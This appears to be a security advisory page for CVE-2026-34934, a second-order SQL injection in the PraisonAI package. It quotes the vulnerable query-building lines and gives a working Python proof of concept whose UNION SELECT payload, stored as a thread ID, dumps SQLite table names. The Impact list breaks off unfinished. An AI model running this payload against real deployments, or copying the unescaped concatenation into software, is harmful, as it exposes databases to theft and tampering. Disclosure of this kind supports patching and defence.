MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2026-34934

PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

CVE-2026-34934 ยท 2026-04-01 critical

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
SQL and query injection
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
0.5% chance of exploitation in 30 days

How it works, in short

A thread ID stored with a crafted SQL fragment is later concatenated unescaped into a thread-listing query, executing injected SQL against the database. (Our summary, written by a model. The source text is below.)

Details

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

---

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:
- Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
WHERE s."threadId" IN {thread_ids}

---

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

---

Impact

An attacker can achieve full database compromise, including:

References

Source: GitHub Advisory Database, used under CC BY 4.0.